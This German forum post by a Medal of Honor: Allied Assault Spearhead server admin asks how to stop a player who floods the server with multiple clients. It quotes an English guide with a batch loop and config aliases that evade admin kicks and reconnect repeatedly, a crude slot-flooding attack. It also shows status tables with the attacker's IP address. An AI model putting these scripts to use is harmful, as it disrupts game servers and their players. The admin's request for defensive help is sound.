MoH:AA Spamproblem

Servus Leute,

seit einiger Zeit kommt ein ungebetener Gast regelmäßig mind. 10x gleichzeitig auf den Server und blockiert die Slots. Jegliche Versuche ihn zu entferne scheitern, außer man bannt via IPTables seinen kompletten IP-Adressbereich. Nun hat er gemerkt das er via seinem Internetanbieter nichts mehr anrichten kann und ist auf einen VPN Provider umgestiegen.

Es handelt sich um das Spielt Medal of Honor: Allied Assault Spearhead in der Version 2.15 (Linux, Protocol 17).

Das ganze sieht dann in etwa so aus:

num score ping name lastmsg address qport rate
--- ----- ---- --------------- ------- --------------------- ----- -----
0 4 34 «ve†us»_‡*Sylar*‡'
1 4 15 «ve†us»_‡_C•R•Ø•W_‡'
4 4 110 YuMa
5 1 48 Growian
6 1 25 minus_human
7 0 44 Leerøy 50 82.156.73.231:-3855 57323 30000
8 1 62 al
9 1 62 -=[Am0k]=->SMOKE< 30000
10 0 999 Leerøy 67000 82.156.73.231:-3854 8829 30000
11 1 22 Octupus
12 0 50 Leerøy 50 82.156.73.231:-3842 45000 30000
13 0 999 Leerøy 7200 82.156.73.231:-3836 51732 30000
14 1 50 SellfromHell
15 4 45 -=1.PD=-Rabbit
16 1 100 saw saw saw saw saw
17 4 120 Requiem-RBNY
18 1 98 Barberis_GR
19 4 54 **Miss_Ganja**
20 4 50 Mezarci[TR]
21 4 48 REG
22 0 87 [=LTDA=]·Ðark°Evill·#°?Carx?°'
23 0 59 Leerøy 100 82.156.73.231:-3837 31206 30000

Auch den Versuch den Server mit einem Passwort zu versehen kann er irgendwie umgehen und connectet weiterhin:

num score ping name lastmsg address qport rate
--- ----- ---- --------------- ------- --------------------- ----- -----
4 0 46 Leerøy 50 82.156.73.231:-3820 33335 30000
5 0 50 Leerøy 50 82.156.73.231:-3801 59338 30000
6 0 999 Leerøy 650 82.156.73.231:-3802 60221 30000
7 0 50 Leerøy 300 82.156.73.231:-3814 3495 30000
8 0 33 Leerøy 100 82.156.73.231:-3851 18747 30000
9 0 40 Leerøy 0 82.156.73.231:-3850 30624 30000
10 0 999 Leerøy 150 82.156.73.231:-3808 41815 30000
11 0 999 Leerøy 10900 82.156.73.231:-3855 45885 30000
12 0 999 (jenifer)sexy-fr

Ich habe mich mal schlau gemacht wie er das ganze anstellen könnte und habe folgenden Text bekommen:

Zitat

Hello i have found out a new way to attack servers! 1st download the multiclient moh_spearhead.execopy and past the moh_spearhead.exe with the 1 u allready have. 2nd: copy and paste this text into a new notepad file

Code

@echo off:TOPPING -n 3 127.0.0.1>nulstart /wait moh_spearhead.exe +set cl_playintro 0 +exec serverattack.cfg

Go to TOP and save it as serverattack.bat once u saved this file copy it 10 times and save these files in the map where moh_speahead.exe is located! The name of the .bat files is not importend!!
3rd: Open notepad once again, and copy and paste this text into it the FuckU command is in your moh_spearhead.exe alias like foresight scanners add commands to your unnamedsoldier.cfg.

Code

alias r_loadmap "say I AM TRYING TO RELOAD THE SERVER KICK ME KICK ME!"

FuckU gives u advantage on every server out there before u fuckup the server connect to a server who has foresight installed type in console "reloadmap" u will see that the server is reloading the map again if it is not good protected! it will work if it is good protected the map will not reload than your still in advantage the following commands are not the same anymore! freeze this command is renamed to ezeerf this makes sure the command will not be executed quit this command is renamed to DONT this makes sure the command will not be executed error this command is renamed to rrrrr this makes sure the command will not be executed crash this command is renamed to noway this makes sure the command will not be executed reconnect this command is renamed to r_connect this makes

Code

FuckU freeze "say LOL ADMIN TRYED TO FREEZE MY GAME XD WICH FAILED OF COURSE HAHAHA"
FuckU cvar_restart "say LOL ADMIN TRYED TO CVAR RESTART ME WICH FAILED OF COURSE HAHAHA"
FuckU reconnect "say LOL ADMIN TRYED TO RECONNECT ME WICH FAILED OF COURSE HAHAHA"
FuckU unbindall "say LOL ADMIN TRYED UNBIND ALL ON ME WICH FAILED OF COURSE HAHAHA"
FuckU quit "reconnect"
FuckU crash "reconnect"
FuckU error "reconnect"

//INFO wait 9999 is in real time 10 sec. the ; sign meaning next command please ,wait 999 is in real time 1sec =in total 11 sec connect "ADD IP HERE"// add ip between "" it must look like this connect "0.0.0.0:12203"wait 9999;wait 999;dont//DONT will quit ur game in case u only get kick or disconnect REMEMBER closing ur game is part of the ATTACK//I let u wait 11 sec before ur game gets quited so the serverattack.bat reloads ur game again to make the cycle of connecting round//11 sec is needed to connect the server once it is from a fresh start//and save it as serverattack.cfg install this file in mainta fold

Alles anzeigen

Leider bin ich nicht wirklich im "Scripten" begabt und hätte mir nach Möglichkeit schon längst etwas geschrieben was die Verbindungen überprüft und alle die mehr als 5 Verbindungen innerhalb 1Minute haben via iptables Regel gesperrt. Was könnte man gegen so ein nerviges Kind noch tun?!